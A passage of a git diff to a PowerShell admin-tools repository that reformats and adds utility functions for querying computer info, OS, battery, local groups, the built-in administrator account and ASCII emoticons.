'TableFlip' { [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii } + 'TableBack' { [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii } + 'TableFlip2' { [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii } + 'TableBack2' { [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii } + 'TableFlip3' { [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii } + 'Denko' { [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii } + 'BlowKiss' { [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii } + 'Lenny' { [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii } + 'Angry' { [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii } + 'DontKnow' { [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii } + default { + [PSCustomObject][ordered]@{ + 'Shrug' = [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii + 'Disapproval' = [char[]]@(3232, 95, 3232) -join '' | Write-Ascii + 'TableFlip' = [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii + 'TableBack' = [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii + 'TableFlip2' = [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii + 'TableBack2' = [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii + 'TableFlip3' = [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii + 'Denko' = [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii + 'BlowKiss' = [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii + 'Lenny' = [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii + 'Angry' = [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii + 'DontKnow' = [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii + } + } + } +} diff --git a/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 b/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 new file mode 100644 index 00000000..7672024f --- /dev/null +++ b/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 @@ -0,0 +1,26 @@ +function Get-BatteryStatus { + <# + .SYNOPSIS + Retrieve battery information + + .DESCRIPTION + Retrieve battery information + + .EXAMPLE + Get-BatteryStatus + + .NOTES + http://www.powershellmagazine.com/2012/10/18/pstip-get-system-power-information/ + + .LINK + https://github.com/lazywinadmin/PowerShell + #> + PARAM() + try { + Add-Type -Assembly System.Windows.Forms + [System.Windows.Forms.SystemInformation]::PowerStatus + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } +} diff --git a/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 b/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 index 6d11e445..7522b5a7 100644 --- a/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 +++ b/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 @@ -1,9 +1,8 @@ -#requires -Version 3 +#requires -Version 3 -function Get-ComputerInfo -{ +function Get-ComputerInfo { -<# + <# .SYNOPSIS This function query some basic Operating System and Hardware Information from a local or remote machine. @@ -13,9 +12,9 @@ function Get-ComputerInfo a local or remote machine. It requires PowerShell version 3 for the Ordered Hashtable. - The properties returned are the Computer Name (ComputerName),the Operating - System Name (OSName), Operating System Version (OSVersion), Memory Installed - on the Computer in GigaBytes (MemoryGB), the Number of + The properties returned are the Computer Name (ComputerName),the Operating + System Name (OSName), Operating System Version (OSVersion), Memory Installed + on the Computer in GigaBytes (MemoryGB), the Number of Processor(s) (NumberOfProcessors), Number of Socket(s) (NumberOfSockets), and Number of Core(s) (NumberOfCores). @@ -59,7 +58,7 @@ function Get-ComputerInfo .EXAMPLE Get-Content c:\ServersList.txt | Get-ComputerInfo - + ComputerName : DC OSName : Microsoft Windows Server 2012 OSVersion : 6.2.9200 @@ -69,7 +68,7 @@ function Get-ComputerInfo NumberOfCores : 4 ComputerName : FILESERVER - OSName : Microsoft Windows Server 2008 R2 Standard + OSName : Microsoft Windows Server 2008 R2 Standard OSVersion : 6.1.7601 MemoryGB : 2 NumberOfProcessors : 1 @@ -100,7 +99,7 @@ function Get-ComputerInfo Get-ComputerInfo -ComputerName FILESERVER,SHAREPOINT -ErrorLog d:\MyErrors.log. ComputerName : FILESERVER - OSName : Microsoft Windows Server 2008 R2 Standard + OSName : Microsoft Windows Server 2008 R2 Standard OSVersion : 6.1.7601 MemoryGB : 2 NumberOfProcessors : 1 @@ -129,30 +128,31 @@ function Get-ComputerInfo Scripting Games 2013 - Advanced Event #2 #> - [CmdletBinding()] + [CmdletBinding()] PARAM( - [Parameter(ValueFromPipeline=$true)] - [String[]]$ComputerName = "LocalHost", + [Parameter(ValueFromPipeline = $true)] + [String[]]$ComputerName = "LocalHost", - [String]$ErrorLog = ".\Errors.log", + [String]$ErrorLog = ".\Errors.log", - [Alias("RunAs")] - [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty + [Alias("RunAs")] + [pscredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty )#PARAM - BEGIN {}#PROCESS BEGIN + BEGIN { }#PROCESS BEGIN - PROCESS{ + PROCESS { FOREACH ($Computer in $ComputerName) { Write-Verbose -Message "PROCESS - Querying $Computer ..." - - TRY{ + + TRY { $Splatting = @{ ComputerName = $Computer } - IF ($PSBoundParameters["Credential"]){ + IF ($PSBoundParameters["Credential"]) { $Splatting.Credential = $Credential } @@ -164,7 +164,7 @@ function Get-ComputerInfo # Query WMI class Win32_OperatingSystem Write-Verbose -Message "PROCESS - $Computer - WMI:Win32_OperatingSystem" $OperatingSystem = Get-WmiObject -Class Win32_OperatingSystem @Splatting -ErrorAction Stop -ErrorVariable ProcessError - + # Query WMI class Win32_ComputerSystem Write-Verbose -Message "PROCESS - $Computer - WMI:Win32_ComputerSystem" $ComputerSystem = Get-WmiObject -Class win32_ComputerSystem @Splatting -ErrorAction Stop -ErrorVariable ProcessError @@ -179,48 +179,51 @@ function Get-ComputerInfo Write-Verbose -Message "PROCESS - $Computer - Determine the number of Socket(s)/Core(s)" $Cores = 0 $Sockets = 0 - FOREACH ($Proc in $Processors){ - IF($Proc.numberofcores -eq $null){ - IF ($Proc.SocketDesignation -ne $null){$Sockets++} + FOREACH ($Proc in $Processors) { + IF ($null -eq $Proc.numberofcores) { + IF ($null -ne $Proc.SocketDesignation) { $Sockets++ } $Cores++ - }ELSE { + } + ELSE { $Sockets++ $Cores += $proc.numberofcores }#ELSE }#FOREACH $Proc in $Processors - }CATCH{ + } + CATCH { $Everything_is_OK = $false Write-Warning -Message "Error on $Computer" - $Computer | Out-file -FilePath $ErrorLog -Append -ErrorAction Continue - $ProcessError | Out-file -FilePath $ErrorLog -Append -ErrorAction Continue + $Computer | Out-File -FilePath $ErrorLog -Append -ErrorAction Continue + $ProcessError | Out-File -FilePath $ErrorLog -Append -ErrorAction Continue Write-Warning -Message "Logged in $ErrorLog" }#CATCH - IF ($Everything_is_OK){ + IF ($Everything_is_OK) { Write-Verbose -Message "PROCESS - $Computer - Building the Output Information" $Info = [ordered]@{ - "ComputerName" = $OperatingSystem.__Server; - "OSName" = $OperatingSystem.Caption; - "OSVersion" = $OperatingSystem.version; - "MemoryGB" = $ComputerSystem.TotalPhysicalMemory/1GB -as [int]; + "ComputerName" = $OperatingSystem.__Server; + "OSName" = $OperatingSystem.Caption; + "OSVersion" = $OperatingSystem.version; + "MemoryGB" = $ComputerSystem.TotalPhysicalMemory/1GB -as [int]; "NumberOfProcessors" = $ComputerSystem.NumberOfProcessors; - "NumberOfSockets" = $Sockets; - "NumberOfCores" = $Cores} + "NumberOfSockets" = $Sockets; + "NumberOfCores" = $Cores + } $output = New-Object -TypeName PSObject -Property $Info $output } #end IF Everything_is_OK }#end Foreach $Computer in $ComputerName }#PROCESS BLOCK - END{ + END { # Cleanup Write-Verbose -Message "END - Cleanup Variables" - Remove-Variable -Name output,info,ProcessError,Sockets,Cores,OperatingSystem,ComputerSystem,Processors, + Remove-Variable -Name output, info, ProcessError, Sockets, Cores, OperatingSystem, ComputerSystem, Processors, ComputerName, ComputerName, Computer, Everything_is_OK -ErrorAction SilentlyContinue - + # End Write-Verbose -Message "END - Script End !" }#END BLOCK diff --git a/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 b/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 index 6b76a6d9..7838507d 100644 --- a/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 +++ b/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 @@ -1,116 +1,106 @@ -function Get-ComputerOS -{ -<# - .SYNOPSIS - function to retrieve the Operating System of a machine - - .DESCRIPTION - function to retrieve the Operating System of a machine - - .PARAMETER ComputerName - Specifies the ComputerName of the machine to query. Default is localhost. - - .PARAMETER Credential - Specifies the credentials to use. Default is Current credentials - - .EXAMPLE - PS C:\> Get-ComputerOS -ComputerName "SERVER01","SERVER02","SERVER03" - - .EXAMPLE - PS C:\> Get-ComputerOS -ComputerName "SERVER01" -Credential (Get-Credential -cred "FX\SuperAdmin") - - .NOTES - Additional information about the function. +function Get-ComputerOS { + <# + .SYNOPSIS + function to retrieve the Operating System of a machine + + .DESCRIPTION + function to retrieve the Operating System of a machine + + .PARAMETER ComputerName + Specifies the ComputerName of the machine to query. Default is localhost. + + .PARAMETER Credential + Specifies the credentials to use. Default is Current credentials + + .EXAMPLE + PS C:\> Get-ComputerOS -ComputerName "SERVER01","SERVER02","SERVER03" + + .EXAMPLE + PS C:\> Get-ComputerOS -ComputerName "SERVER01" -Credential (Get-Credential -cred "FX\SuperAdmin") + + .NOTES + Additional information about the function. + .LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [Parameter(ParameterSetName = "Main")] - [Alias("CN","__SERVER","PSComputerName")] - [String[]]$ComputerName = $env:ComputerName, - - [Parameter(ParameterSetName="Main")] - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(ParameterSetName = "CimSession")] - [Microsoft.Management.Infrastructure.CimSession]$CimSession - ) - BEGIN - { - # Default Verbose/Debug message - function Get-DefaultMessage - { - <# - .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING. - Typically called inside another function in the BEGIN Block - #> - PARAM ($Message) - Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" - }#Get-DefaultMessage - } - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message $Computer) - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - # Define Hashtable to hold our properties - $Splatting = @{ - class = "Win32_OperatingSystem" - ErrorAction = Stop - } - - IF ($PSBoundParameters['CimSession']) - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - CimSession") - # Using cim session already opened - $Query = Get-CIMInstance @Splatting -CimSession $CimSession - } - ELSE - { - # Credential specified - IF ($PSBoundParameters['Credential']) - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Credential specified $($Credential.username)") - $Splatting.Credential = $Credential - } - - # Set the ComputerName into the splatting - $Splatting.ComputerName = $ComputerName - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject") - $Query = Get-WmiObject @Splatting - } - - # Prepare output - $Properties = @{ - ComputerName = $Computer - OperatingSystem = $Query.Caption - } - - # Output - New-Object -TypeName PSObject -Property $Properties - } - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue to connect") - Write-Verbose -Message $Error[0].Exception.Message - }#CATCH - FINALLY - { - $Splatting.Clear() - } - }#FOREACH - }#PROCESS - END - { - Write-Warning -Message (Get-DefaultMessage -Message "Script completed") - } + [CmdletBinding()] + PARAM ( + [Parameter(ParameterSetName = "Main")] + [Alias("CN", "__SERVER", "PSComputerName")] + [String[]]$ComputerName = $env:ComputerName, + + [Parameter(ParameterSetName = "Main")] + [Alias("RunAs")] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(ParameterSetName = "CimSession")] + [Microsoft.Management.Infrastructure.CimSession]$CimSession + ) + BEGIN { + # Default Verbose/Debug message + function Get-DefaultMessage { + <# + .SYNOPSIS + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + .DESCRIPTION + Helper Function to show default message used in VERBOSE/DEBUG/WARNING. + Typically called inside another function in the BEGIN Block + #> + PARAM ($Message) + Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" + }#Get-DefaultMessage + } + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + Write-Verbose -Message (Get-DefaultMessage -Message $Computer) + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { + # Define Hashtable to hold our properties + $Splatting = @{ + class = "Win32_OperatingSystem" + ErrorAction = Stop + } + + IF ($PSBoundParameters['CimSession']) { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - CimSession") + # Using cim session already opened + $Query = Get-CIMInstance @Splatting -CimSession $CimSession + } + ELSE { + # Credential specified + IF ($PSBoundParameters['Credential']) { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Credential specified $($Credential.username)") + $Splatting.Credential = $Credential + } + + # Set the ComputerName into the splatting + $Splatting.ComputerName = $ComputerName + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject") + $Query = Get-WmiObject @Splatting + } + + # Prepare output + $Properties = @{ + ComputerName = $Computer + OperatingSystem = $Query.Caption + } + + # Output + New-Object -TypeName PSObject -Property $Properties + } + } + CATCH { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue to connect") + Write-Verbose -Message $Error[0].Exception.Message + }#CATCH + FINALLY { + $Splatting.Clear() + } + }#FOREACH + }#PROCESS + END { + Write-Warning -Message (Get-DefaultMessage -Message "Script completed") + } }#Function \ No newline at end of file diff --git a/TOOL-Get-DefaultMessage/Get-DefaultMessage.ps1 b/TOOL-Get-DefaultMessage/Get-DefaultMessage.ps1 deleted file mode 100644 index c1b82877..00000000 --- a/TOOL-Get-DefaultMessage/Get-DefaultMessage.ps1 +++ /dev/null @@ -1,45 +0,0 @@ -function Get-DefaultMessage -{ -<# -.SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING -.DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - and... HOST in some case. - This is helpful to standardize the output messages - -.PARAMETER Message - Specifies the message to show -.EXAMPLE - Get-DefaultMessage -message "Connected" - - if the function is just called from the prompt you will get the following output - [2015/03/14 17:32:53:62] Connected - -.EXAMPLE - Get-DefaultMessage -message "Connected to $Computer" - - If the function is called from inside another function, - It will show the name of the function. - [2015/03/14 17:32:53:62][Get-Something] Connected - -.NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm -#> - PARAM ($Message) - PROCESS - { - $DateFormat = Get-Date -Format 'yyyy\/MM\/dd HH:mm:ss:ff' - $MyCommand = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - IF ($MyCommand) - { - Write-Output "[$DateFormat][$MyCommand] $Message" - } #IF - ELSE - { - Write-Output "[$DateFormat] $Message" - } #Else - } #Process -}#Get-DefaultMessage \ No newline at end of file diff --git a/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 b/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 index 575c61b6..6bccd6f6 100644 --- a/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 +++ b/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 @@ -1,6 +1,5 @@ -Function Get-HashTableEmptyValue -{ -<# +Function Get-HashTableEmptyValue { + <# .SYNOPSIS This function will get the empty or Null entry of a hashtable object .DESCRIPTION @@ -11,15 +10,16 @@ Get-HashTableEmptyValue -HashTable $SplattingVariable .NOTES Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com + @lazywinadmin + lazywinadmin.com +.LINK + https://github.com/lazywinadmin/PowerShell #> PARAM([System.Collections.Hashtable]$HashTable) $HashTable.GetEnumerator().name | ForEach-Object -Process { - if($HashTable[$_] -eq "" -or $HashTable[$_] -eq $null) - { + if ($HashTable[$_] -eq "" -or $null -eq $HashTable[$_]) { Write-Output $_ } } diff --git a/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 b/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyOrNullValue.ps1 similarity index 75% rename from TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 rename to TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyOrNullValue.ps1 index b465512a..f600d813 100644 --- a/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 +++ b/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyOrNullValue.ps1 @@ -1,6 +1,5 @@ -Function Get-HashTableNotEmptyOrNullValue -{ -<# +Function Get-HashTableNotEmptyOrNullValue { + <# .SYNOPSIS This function will get the values that are not empty or Null in a hashtable object .DESCRIPTION @@ -11,15 +10,16 @@ Get-HashTableNotEmptyOrNullValue -HashTable $SplattingVariable .NOTES Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com + @lazywinadmin + lazywinadmin.com +.LINK + https://github.com/lazywinadmin/PowerShell #> PARAM([System.Collections.Hashtable]$HashTable) $HashTable.GetEnumerator().name | ForEach-Object -Process { - if($HashTable[$_] -ne "") - { + if ($HashTable[$_] -ne "") { Write-Output $_ } } diff --git a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 new file mode 100644 index 00000000..44f855ae --- /dev/null +++ b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 @@ -0,0 +1,46 @@ +function Get-HelpMessage { + <# + .SYNOPSIS + Function to explain why an error occurred and provides problem-solving information. + Equivalent of NET HELPMSG + + .DESCRIPTION + Function to explain why an error occurred and provides problem-solving information. + Equivalent of NET HELPMSG. + + The function also create an alias called HelpMsg, so you can call the function this way: + HelpMsg 618 + + .PARAMETER Id + Specify the ID of the error you want to retrieve. + Can be decimal, hexadecimal + + .EXAMPLE + Get-HelpMessage 618 + + The specified compression format is unsupported + + .EXAMPLE + Get-HelpMessage 0x80070652 + + Another installation is already in progress. Complete that installation before proceeding with this install + + .EXAMPLE + Get-HelpMessage –2147023278 + Another installation is already in progress. Complete that installation before proceeding with this install + + .NOTES + http://www.leeholmes.com/blog/2009/09/15/powershell-equivalent-of-net-helpmsg/ + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + [Alias('HelpMsg')] + PARAM($Id) + try { + [ComponentModel.Win32Exception] $id + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } +} \ No newline at end of file diff --git a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 index 0d825f53..0c5fdc56 100644 --- a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 +++ b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 @@ -1,13 +1,12 @@ -function Get-ISEShortCut -{ -<# +function Get-ISEShortCut { + <# .SYNOPSIS - List ISE Shortcuts + List ISE Shortcuts .DESCRIPTION List ISE Shortcuts. This won't run in a regular powershell console, only in ISE. - + .EXAMPLE Get-ISEShortcut @@ -16,47 +15,41 @@ Get-Help Get-ISEShortcut -Online Will show technet page of ISE Shortcuts -.LINK - http://technet.microsoft.com/en-us/library/jj984298.aspx - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - - VERSION HISTORY - 2015/01/10 Initial Version + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + + VERSION HISTORY + 2015/01/10 Initial Version + http://technet.microsoft.com/en-us/library/jj984298.aspx +.LINK + https://github.com/lazywinadmin/PowerShell #> - PARAM($Key,$Name) - BEGIN - { - function Test-IsISE - { - # try...catch accounts for: - # Set-StrictMode -Version latest - try - { - return $psISE -ne $null; - } - catch - { - return $false; - } - } - } - PROCESS - { - if ($(Test-IsISE) -eq $true) - { - # http://www.powershellmagazine.com/2013/01/29/the-complete-list-of-powershell-ise-3-0-keyboard-shortcuts/ - - # Reference to the ISE Microsoft.PowerShell.GPowerShell assembly (DLL) - $gps = $psISE.GetType().Assembly - $rm = New-Object System.Resources.ResourceManager GuiStrings, $gps - $rs = $rm.GetResourceSet((Get-Culture), $true, $true) - $rs | Where-Object Name -match 'Shortcut\d?$|^F\d+Keyboard' | - Sort-Object Value - - } - } + PARAM($Key, $Name) + BEGIN { + function Test-IsISE { + # try...catch accounts for: + # Set-StrictMode -Version latest + try { + $null -ne $psISE + } + catch { + return $false; + } + } + } + PROCESS { + if ($(Test-IsISE) -eq $true) { + # http://www.powershellmagazine.com/2013/01/29/the-complete-list-of-powershell-ise-3-0-keyboard-shortcuts/ + + # Reference to the ISE Microsoft.PowerShell.GPowerShell assembly (DLL) + $gps = $psISE.GetType().Assembly + $rm = New-Object -TypeName System.Resources.ResourceManager -ArgumentList GuiStrings, $gps + $rs = $rm.GetResourceSet((Get-Culture), $true, $true) + $rs | Where-Object -Property Name -match 'Shortcut\d?$|^F\d+Keyboard' | + Sort-Object -Property Value + + } +} } \ No newline at end of file diff --git a/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 new file mode 100644 index 00000000..fd3b1d28 --- /dev/null +++ b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 @@ -0,0 +1,33 @@ +function Get-ImageInformation { + <# +.SYNOPSIS + function to retrieve Image file information + +.DESCRIPTION + function to retrieve Image file information + +.PARAMETER FilePath + Specify one or multiple image file path(s). + +.EXAMPLE + PS C:\> Get-ImageInformation -FilePath c:\temp\image.png + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell +#> + PARAM ( + [System.String[]]$FilePath + ) + Foreach ($Image in $FilePath) { + # Load Assembly + Add-Type -AssemblyName System.Drawing + + # Retrieve information + New-Object -TypeName System.Drawing.Bitmap -ArgumentList $Image + } +} \ No newline at end of file diff --git a/TOOL-Get-ImageInformation/readme.md b/TOOL-Get-ImageInformation/readme.md new file mode 100644 index 00000000..4b36dcba --- /dev/null +++ b/TOOL-Get-ImageInformation/readme.md @@ -0,0 +1,26 @@ +# Get-ImageInformation + +## Using the function +``` powershell +Get-ImageInformation -FilePath c:\test\image.png +``` + +## Output example + +``` powershell +Tag : +PhysicalDimension : {Width=301, Height=308} +Size : {Width=301, Height=308} +Width : 301 +Height : 308 +HorizontalResolution : 96 +VerticalResolution : 96 +Flags : 77840 +RawFormat : [ImageFormat: b96b3cae-0728-11d3-9d7b-0000f81ef32e] +PixelFormat : Format24bppRgb +Palette : System.Drawing.Imaging.ColorPalette +FrameDimensionsList : {7462dc86-6180-4c7e-8e3f-ee7333a7a483} +PropertyIdList : {305, 36864, 40962, 40963...} +PropertyItems : {305, 36864, 40962, 40963...} + +``` \ No newline at end of file diff --git a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 new file mode 100644 index 00000000..64aa8790 --- /dev/null +++ b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 @@ -0,0 +1,47 @@ +function Get-LocalAdministratorBuiltin { + <# + .SYNOPSIS + function to retrieve the local Administrator account + + .DESCRIPTION + function to retrieve the local Administrator account + + .PARAMETER ComputerName + Specifies the computername + + .EXAMPLE + PS C:\> Get-LocalAdministratorBuiltin + + .EXAMPLE + PS C:\> Get-LocalAdministratorBuiltin -ComputerName SERVER01 + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + + #function to get the BUILTIN LocalAdministrator + #http://blog.simonw.se/powershell-find-builtin-local-administrator-account/ +#> + + [CmdletBinding()] + param ( + [Parameter()] + $ComputerName = $env:computername + ) + Process { + Foreach ($Computer in $ComputerName) { + Try { + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $PrincipalContext = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Computer) + $UserPrincipal = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal($PrincipalContext) + $Searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher + $Searcher.QueryFilter = $UserPrincipal + $Searcher.FindAll() | Where-Object -FilterScript { $_.Sid -Like "*-500" } + } + Catch { + Write-Warning -Message "$($_.Exception.Message)" + } + } + } +} \ No newline at end of file diff --git a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 new file mode 100644 index 00000000..ba6cd39f --- /dev/null +++ b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 @@ -0,0 +1,59 @@ +function Get-LocalGroup { + + <# + .SYNOPSIS + This script can be list all of local group account. + + .DESCRIPTION + This script can be list all of local group account. + The function is using WMI to connect to the remote machine + + .PARAMETER ComputerName + Specifies the computers on which the command . The default is the local computer. + + .PARAMETER Credential + A description of the Credential parameter. + + + .EXAMPLE + Get-LocalGroup + + This example shows how to list all the local groups on local computer. + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + PARAM + ( + [Alias('cn')] + [String[]]$ComputerName = $Env:COMPUTERNAME, + + [String]$AccountName, + + [System.Management.Automation.PsCredential]$Credential + ) + + $Splatting = @{ + Class = "Win32_Group" + Namespace = "root\cimv2" + Filter = "LocalAccount='$True'" + } + + #Credentials + If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + Foreach ($Computer in $ComputerName) { + TRY { + Write-Verbose -Message "[PROCESS] ComputerName: $Computer" + Get-WmiObject @Splatting -ComputerName $Computer | Select-Object -Property Name, Caption, Status, SID, SIDType, Domain, Description + } + CATCH { + Write-Warning -Message "[PROCESS] Issue connecting to $Computer" + } + } +} \ No newline at end of file diff --git a/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 b/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 index 0a8dad1c..47730d15 100644 --- a/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 +++ b/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 @@ -1,63 +1,57 @@ -function Get-LocalGroupMember -{ -<# +function Get-LocalGroupMember { + <# .SYNOPSIS Retrieve a Local Group membership - .DESCRIPTION + .DESCRIPTION Retrieve a Local Group membership - .PARAMETER ComputerName - Specifies one or computers to query - .PARAMETER GroupName - Specifies the Group name + .PARAMETER ComputerName + Specifies one or computers to query + .PARAMETER GroupName + Specifies the Group name .EXAMPLE Get-LocalGroupMember .NOTES Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com + @lazywinadmin + lazywinadmin.com To Add: Credential param Resurce Local and AD using ADSI or ActiveDirectory Module OnlyUser param + .LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline = $true, - ValueFromPipelineByPropertyName = $true)] - [System.String[]]$ComputerName = $env:COMPUTERNAME, - [System.String]$GroupName = "Administrators" - ) - BEGIN - { - TRY - { - Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction 'Stop' -ErrorVariable ErrorBeginAddType - $ctype = [System.DirectoryServices.AccountManagement.ContextType]::Machine - } - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - IF ($ErrorBeginAddType) { Write-Warning -Message "[BEGIN] Error while loading the Assembly: System.DirectoryServices.AccountManagement" } - Write-Warning -Message $Error[0].Exception.Message - } - } - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - $context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $ctype, $computer - $idtype = [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName - $group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($context, $idtype, $GroupName) - $group.Members | Select-Object *, @{ Label = 'Server'; Expression = { $computer } }, @{ Label = 'Domain'; Expression = { $_.Context.Name } } - } - CATCH - { - Write-Warning -Message 